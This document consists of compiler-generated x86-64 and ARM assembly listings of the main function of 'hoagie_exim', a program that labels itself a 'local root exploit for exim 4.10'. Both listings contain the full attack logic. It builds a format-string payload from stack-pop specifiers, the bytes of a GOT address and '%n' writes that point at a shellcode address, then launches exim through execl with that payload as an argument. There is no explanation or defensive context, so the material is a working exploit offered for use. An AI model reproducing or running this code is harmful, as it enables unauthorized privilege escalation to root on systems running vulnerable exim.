	.file	"extr_22066.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"local root exploit for exim 4.10 [only works for exim admin users]\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"./hoagie_exim path_to_exim\n"
	.section	.rodata.str1.8
	.align 8
.LC2:
	.string	"Using %d bigpops and %d smallpops.\n"
	.section	.rodata.str1.1
.LC3:
	.string	"Written bytes: %d\n"
.LC4:
	.string	"/tmp/%s"
.LC5:
	.string	"Z"
	.section	.rodata.str1.8
	.align 8
.LC6:
	.string	"0000%c%c%c%c0000%c%c%c%c0000%c%c%c%c0000%c%c%c%c"
	.section	.rodata.str1.1
.LC7:
	.string	"%+e"
.LC8:
	.string	"%08x"
	.section	.rodata.str1.8
	.align 8
.LC9:
	.string	"%%.%uu%%n%%.%uu%%n%%.%uu%%n%%.%uu%%n"
	.section	.rodata.str1.1
.LC10:
	.string	"calling exim with fs='%s'\n"
.LC11:
	.string	"%d"
.LC12:
	.string	"-oX"
.LC13:
	.string	"-d"
.LC14:
	.string	"-bd"
.LC15:
	.string	"exim"
.LC16:
	.string	"-F"
.LC17:
	.string	"-oP"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r15
	.cfi_def_cfa_offset 16
	.cfi_offset 15, -16
	push	r14
	.cfi_def_cfa_offset 24
	.cfi_offset 14, -24
	push	r13
	.cfi_def_cfa_offset 32
	.cfi_offset 13, -32
	push	r12
	.cfi_def_cfa_offset 40
	.cfi_offset 12, -40
	push	rbp
	.cfi_def_cfa_offset 48
	.cfi_offset 6, -48
	push	rbx
	.cfi_def_cfa_offset 56
	.cfi_offset 3, -56
	sub	rsp, 4096
	.cfi_def_cfa_offset 4152
	or	QWORD PTR [rsp], 0
	sub	rsp, 4096
	.cfi_def_cfa_offset 8248
	or	QWORD PTR [rsp], 0
	sub	rsp, 2936
	.cfi_def_cfa_offset 11184
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 11112[rsp], rax
	xor	eax, eax
	movsx	rax, DWORD PTR FOPEN_GOT_ADDRESS[rip]
	mov	rbx, rsi
	mov	rbp, rax
	lea	r12d, 1[rax]
	lea	r13d, 2[rax]
	mov	QWORD PTR 40[rsp], rax
	add	ebp, 3
	movsx	r12, r12d
	movsx	r13, r13d
	movsx	rbp, ebp
	cmp	edi, 2
	je	.L2
	lea	rdi, .LC0[rip]
	call	puts@PLT
	lea	rdi, .LC1[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L2:
	mov	rsi, QWORD PTR 8[rbx]
	mov	rdi, QWORD PTR path[rip]
	lea	rbx, 1104[rsp]
	call	strcpy@PLT
	lea	rdx, 76[rsp]
	lea	rsi, 72[rsp]
	lea	rdi, 68[rsp]
	call	getstackpops@PLT
	mov	edx, DWORD PTR 72[rsp]
	mov	esi, DWORD PTR 68[rsp]
	xor	eax, eax
	lea	rdi, .LC2[rip]
	call	printf@PLT
	mov	esi, DWORD PTR 76[rsp]
	lea	rdi, .LC3[rip]
	xor	eax, eax
	call	printf@PLT
	lea	rsi, .LC4[rip]
	mov	rdi, rbx
	call	strcpy@PLT
	mov	ecx, DWORD PTR PADDING[rip]
	test	ecx, ecx
	jle	.L3
	xor	r14d, r14d
	lea	r15, .LC5[rip]
	.p2align 4,,10
	.p2align 3
.L4:
	xor	eax, eax
	mov	rsi, r15
	mov	rdi, rbx
	add	r14d, 1
	call	strcat@PLT
	cmp	DWORD PTR PADDING[rip], r14d
	jg	.L4
.L3:
	mov	rdi, rbp
	call	SB4@PLT
	mov	rdi, rbp
	mov	DWORD PTR 12[rsp], eax
	call	SB3@PLT
	mov	rdi, rbp
	mov	DWORD PTR 16[rsp], eax
	call	SB2@PLT
	mov	rdi, rbp
	lea	rbp, 96[rsp]
	mov	DWORD PTR 60[rsp], eax
	call	SB1@PLT
	mov	rdi, r13
	mov	DWORD PTR 20[rsp], eax
	call	SB4@PLT
	mov	rdi, r13
	mov	DWORD PTR 56[rsp], eax
	call	SB3@PLT
	mov	rdi, r13
	mov	DWORD PTR 52[rsp], eax
	call	SB2@PLT
	mov	rdi, r13
	mov	r15d, eax
	call	SB1@PLT
	mov	rdi, r12
	mov	DWORD PTR 24[rsp], eax
	call	SB4@PLT
	mov	rdi, r12
	mov	DWORD PTR 28[rsp], eax
	call	SB3@PLT
	mov	rdi, r12
	mov	DWORD PTR 32[rsp], eax
	call	SB2@PLT
	mov	rdi, r12
	mov	DWORD PTR 36[rsp], eax
	call	SB1@PLT
	mov	r14, QWORD PTR 40[rsp]
	mov	DWORD PTR 48[rsp], eax
	mov	rdi, r14
	call	SB4@PLT
	mov	rdi, r14
	mov	DWORD PTR 40[rsp], eax
	call	SB3@PLT
	mov	rdi, r14
	mov	r13d, eax
	call	SB2@PLT
	mov	rdi, r14
	mov	r12d, eax
	call	SB1@PLT
	mov	ecx, DWORD PTR 12[rsp]
	mov	r8d, r13d
	mov	rdi, rbp
	mov	edx, eax
	push	rcx
	.cfi_def_cfa_offset 11192
	mov	ecx, DWORD PTR 24[rsp]
	push	rcx
	.cfi_def_cfa_offset 11200
	mov	r11d, DWORD PTR 76[rsp]
	push	r11
	.cfi_def_cfa_offset 11208
	mov	ecx, DWORD PTR 44[rsp]
	push	rcx
	.cfi_def_cfa_offset 11216
	mov	r10d, DWORD PTR 88[rsp]
	push	r10
	.cfi_def_cfa_offset 11224
	mov	esi, DWORD PTR 92[rsp]
	push	rsi
	.cfi_def_cfa_offset 11232
	lea	rsi, .LC6[rip]
	push	r15
	.cfi_def_cfa_offset 11240
	mov	ecx, DWORD PTR 80[rsp]
	push	rcx
	.cfi_def_cfa_offset 11248
	mov	ecx, DWORD PTR 92[rsp]
	push	rcx
	.cfi_def_cfa_offset 11256
	mov	ecx, DWORD PTR 104[rsp]
	push	rcx
	.cfi_def_cfa_offset 11264
	mov	ecx, DWORD PTR 116[rsp]
	push	rcx
	.cfi_def_cfa_offset 11272
	mov	eax, DWORD PTR 136[rsp]
	mov	ecx, r12d
	push	rax
	.cfi_def_cfa_offset 11280
	mov	r9d, DWORD PTR 136[rsp]
	xor	eax, eax
	call	sprintf@PLT
	add	rsp, 96
	.cfi_def_cfa_offset 11184
	mov	rsi, rbp
	mov	rdi, rbx
	xor	eax, eax
	call	strcat@PLT
	mov	edx, DWORD PTR 68[rsp]
	test	edx, edx
	jle	.L5
	xor	r12d, r12d
	lea	r13, .LC7[rip]
	.p2align 4,,10
	.p2align 3
.L6:
	mov	rsi, r13
	mov	rdi, rbx
	xor	eax, eax
	add	r12d, 1
	call	strcat@PLT
	cmp	DWORD PTR 68[rsp], r12d
	jg	.L6
.L5:
	mov	eax, DWORD PTR 72[rsp]
	test	eax, eax
	jle	.L7
	xor	r12d, r12d
	lea	r13, .LC8[rip]
	.p2align 4,,10
	.p2align 3
.L8:
	mov	rsi, r13
	mov	rdi, rbx
	xor	eax, eax
	add	r12d, 1
	call	strcat@PLT
	cmp	DWORD PTR 72[rsp], r12d
	jg	.L8
.L7:
	mov	r9d, DWORD PTR 76[rsp]
	mov	edi, DWORD PTR SHELLCODE_ADDRESS[rip]
	lea	rcx, 88[rsp]
	lea	rdx, 84[rsp]
	lea	rsi, 80[rsp]
	lea	r8, 92[rsp]
	call	get_write_paddings@PLT
	mov	r9d, DWORD PTR 92[rsp]
	mov	ecx, DWORD PTR 84[rsp]
	xor	eax, eax
	mov	r8d, DWORD PTR 88[rsp]
	mov	edx, DWORD PTR 80[rsp]
	lea	rsi, .LC9[rip]
	mov	rdi, rbp
	call	sprintf@PLT
	mov	rsi, rbp
	mov	rdi, rbx
	xor	eax, eax
	call	strcat@PLT
	mov	rsi, rbx
	lea	rdi, .LC10[rip]
	xor	eax, eax
	call	printf@PLT
	mov	eax, DWORD PTR port[rip]
	lea	rsi, .LC11[rip]
	mov	rdi, rbp
	lea	edx, 1[rax]
	xor	eax, eax
	mov	DWORD PTR port[rip], edx
	call	sprintf@PLT
	mov	eax, DWORD PTR shellcode[rip]
	sub	rsp, 8
	.cfi_def_cfa_offset 11192
	mov	r9, rbp
	push	0
	.cfi_def_cfa_offset 11200
	mov	rdi, QWORD PTR path[rip]
	lea	r8, .LC12[rip]
	lea	rcx, .LC13[rip]
	push	rax
	.cfi_def_cfa_offset 11208
	lea	rax, .LC16[rip]
	lea	rdx, .LC14[rip]
	push	rax
	.cfi_def_cfa_offset 11216
	lea	rax, .LC17[rip]
	lea	rsi, .LC15[rip]
	push	rbx
	.cfi_def_cfa_offset 11224
	push	rax
	.cfi_def_cfa_offset 11232
	call	execl@PLT
	add	rsp, 48
	.cfi_def_cfa_offset 11184
	mov	rax, QWORD PTR 11112[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L18
	add	rsp, 11128
	.cfi_remember_state
	.cfi_def_cfa_offset 56
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 48
	pop	rbp
	.cfi_def_cfa_offset 40
	pop	r12
	.cfi_def_cfa_offset 32
	pop	r13
	.cfi_def_cfa_offset 24
	pop	r14
	.cfi_def_cfa_offset 16
	pop	r15
	.cfi_def_cfa_offset 8
	ret
.L18:
	.cfi_restore_state
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	port,4,4
	.comm	path,8,8
	.comm	SHELLCODE_ADDRESS,4,4
	.comm	PADDING,4,4
	.comm	FOPEN_GOT_ADDRESS,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_22066.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"local root exploit for exim 4.10 [only works for ex"
	.ascii	"im admin users]\012\000"
	.align	2
.LC1:
	.ascii	"./hoagie_exim path_to_exim\012\000"
	.align	2
.LC2:
	.ascii	"Using %d bigpops and %d smallpops.\012\000"
	.align	2
.LC3:
	.ascii	"Written bytes: %d\012\000"
	.align	2
.LC4:
	.ascii	"/tmp/%s\000"
	.align	2
.LC5:
	.ascii	"Z\000"
	.align	2
.LC6:
	.ascii	"0000%c%c%c%c0000%c%c%c%c0000%c%c%c%c0000%c%c%c%c\000"
	.align	2
.LC7:
	.ascii	"%+e\000"
	.align	2
.LC8:
	.ascii	"%08x\000"
	.align	2
.LC9:
	.ascii	"%%.%uu%%n%%.%uu%%n%%.%uu%%n%%.%uu%%n\000"
	.align	2
.LC10:
	.ascii	"calling exim with fs='%s'\012\000"
	.align	2
.LC11:
	.ascii	"%d\000"
	.align	2
.LC12:
	.ascii	"-d\000"
	.align	2
.LC13:
	.ascii	"-bd\000"
	.align	2
.LC14:
	.ascii	"exim\000"
	.align	2
.LC15:
	.ascii	"-F\000"
	.align	2
.LC16:
	.ascii	"-oP\000"
	.align	2
.LC17:
	.ascii	"-oX\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC18:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 11072
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	ldr	r3, .L19
	sub	sp, sp, #11072
	sub	sp, sp, #60
	ldr	r6, [r3]
	ldr	r2, .L19+4
	add	r3, sp, #11072
	cmp	r0, #2
	add	r3, r3, #52
	mov	r4, r1
	add	r9, r6, #1
	add	r8, r6, #2
	add	r7, r6, #3
	ldr	r2, [r2]
	str	r2, [r3]
	mov	r2,#0
	beq	.L2
	ldr	r0, .L19+8
	bl	puts
	ldr	r0, .L19+12
	bl	puts
	mov	r0, #1
	bl	exit
.L2:
	ldr	r3, .L19+16
	ldr	r1, [r4, #4]
	ldr	r0, [r3]
	bl	strcpy
	add	r3, sp, #120
	sub	r1, r3, #20
	sub	r0, r3, #24
	add	r2, sp, #104
	bl	getstackpops
	ldr	r5, .L19+20
	ldr	r2, [sp, #100]
	ldr	r1, [sp, #96]
	ldr	r0, .L19+24
	bl	printf
	ldr	r1, [sp, #104]
	ldr	r0, .L19+28
	bl	printf
	ldr	r1, [r5]
	ldr	r2, .L19+32
	add	r4, sp, #1120
	cmp	r1, #0
	add	r4, r4, #4
	ldm	r2, {r0, r1}
	stm	r4, {r0, r1}
	ble	.L3
	mov	fp, #0
	ldr	r10, .L19+36
.L4:
	mov	r1, r10
	mov	r0, r4
	bl	strcat
	ldr	r3, [r5]
	add	fp, fp, #1
	cmp	r3, fp
	bgt	.L4
.L3:
	mov	r0, r6
	bl	SB1
	mov	fp, r0
	mov	r0, r6
	bl	SB2
	mov	r3, r0
	mov	r0, r6
	str	r3, [sp, #92]
	bl	SB3
	mov	r2, r0
	mov	r0, r6
	str	r2, [sp, #60]
	bl	SB4
	mov	r2, r0
	mov	r0, r9
	mov	r5, r2
	bl	SB1
	mov	r2, r0
	mov	r0, r9
	str	r2, [sp, #64]
	bl	SB2
	mov	r2, r0
	mov	r0, r9
	str	r2, [sp, #68]
	bl	SB3
	mov	r2, r0
	mov	r0, r9
	str	r2, [sp, #72]
	bl	SB4
	mov	r2, r0
	mov	r0, r8
	str	r2, [sp, #76]
	bl	SB1
	mov	r2, r0
	mov	r0, r8
	str	r2, [sp, #80]
	bl	SB2
	mov	r2, r0
	mov	r0, r8
	mov	r10, r2
	bl	SB3
	mov	r2, r0
	mov	r0, r8
	mov	r8, r2
	bl	SB4
	mov	r9, r0
	mov	r0, r7
	bl	SB1
	mov	r2, r0
	mov	r0, r7
	str	r2, [sp, #88]
	bl	SB2
	mov	r1, r0
	mov	r0, r7
	str	r1, [sp, #84]
	bl	SB3
	mov	ip, r0
	mov	r0, r7
	mov	r7, ip
	bl	SB4
	ldr	r3, [sp, #80]
	ldr	r1, [sp, #84]
	str	r3, [sp, #24]
	ldr	r3, [sp, #76]
	ldr	r2, [sp, #88]
	str	r3, [sp, #20]
	ldr	r3, [sp, #72]
	add	r6, sp, #124
	str	r3, [sp, #16]
	ldr	r3, [sp, #68]
	str	r1, [sp, #44]
	str	r3, [sp, #12]
	ldr	r3, [sp, #64]
	ldr	r1, .L19+40
	str	r3, [sp, #8]
	ldr	r3, [sp, #60]
	str	r2, [sp, #40]
	str	r3, [sp]
	mov	r2, fp
	ldr	r3, [sp, #92]
	str	r0, [sp, #52]
	str	r5, [sp, #4]
	mov	r0, r6
	str	r8, [sp, #32]
	str	r10, [sp, #28]
	str	r7, [sp, #48]
	str	r9, [sp, #36]
	bl	sprintf
	mov	r1, r6
	mov	r0, r4
	bl	strcat
	ldr	r3, [sp, #96]
	cmp	r3, #0
	ble	.L5
	mov	r7, #0
	ldr	r8, .L19+44
.L6:
	mov	r1, r8
	mov	r0, r4
	bl	strcat
	ldr	r3, [sp, #96]
	add	r7, r7, #1
	cmp	r3, r7
	bgt	.L6
.L5:
	ldr	r3, [sp, #100]
	cmp	r3, #0
	ble	.L7
	mov	r7, #0
	ldr	r8, .L19+48
.L8:
	mov	r1, r8
	mov	r0, r4
	bl	strcat
	ldr	r3, [sp, #100]
	add	r7, r7, #1
	cmp	r3, r7
	bgt	.L8
.L7:
	mov	r7, #0
	add	r1, sp, #120
	ldr	r3, [sp, #104]
	ldr	r2, .L19+52
	str	r1, [sp]
	ldr	r0, [r2]
	sub	r2, r1, #8
	str	r3, [sp, #4]
	sub	r3, r1, #4
	sub	r1, r1, #12
	bl	get_write_paddings
	ldr	r2, [sp, #120]
	ldr	r3, [sp, #116]
	ldr	r1, .L19+56
	str	r2, [sp, #4]
	str	r3, [sp]
	ldr	r2, [sp, #108]
	ldr	r3, [sp, #112]
	mov	r0, r6
	bl	sprintf
	mov	r1, r6
	mov	r0, r4
	bl	strcat
	mov	r1, r4
	ldr	r0, .L19+60
	bl	printf
	ldr	r3, .L19+64
	ldr	r1, .L19+68
	ldr	r2, [r3]
	mov	r0, r6
	add	r2, r2, #1
	str	r2, [r3]
	bl	sprintf
	ldr	r3, .L19+72
	ldr	r1, .L19+76
	ldr	ip, [r3]
	ldr	r2, .L19+80
	ldr	r3, .L19+84
	ldr	r0, .L19+16
	str	r4, [sp, #12]
	str	r6, [sp, #4]
	ldr	r0, [r0]
	str	r1, [sp, #16]
	str	r2, [sp, #8]
	ldr	r1, .L19+88
	ldr	r2, .L19+92
	str	r3, [sp]
	str	ip, [sp, #20]
	ldr	r3, .L19+96
	str	r7, [sp, #24]
	bl	execl
	add	r3, sp, #11072
	ldr	r2, .L19+4
	add	r3, r3, #52
	ldr	r1, [r2]
	ldr	r2, [r3]
	eors	r1, r2, r1
	mov	r2, #0
	bne	.L18
	mov	r0, r7
	add	sp, sp, #11072
	add	sp, sp, #60
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L18:
	bl	__stack_chk_fail
.L20:
	.align	2
.L19:
	.word	FOPEN_GOT_ADDRESS
	.word	.LC18
	.word	.LC0
	.word	.LC1
	.word	path
	.word	PADDING
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	SHELLCODE_ADDRESS
	.word	.LC9
	.word	.LC10
	.word	port
	.word	.LC11
	.word	shellcode
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC14
	.word	.LC13
	.word	.LC12
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	port,4,4
	.comm	path,4,4
	.comm	SHELLCODE_ADDRESS,4,4
	.comm	PADDING,4,4
	.comm	FOPEN_GOT_ADDRESS,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
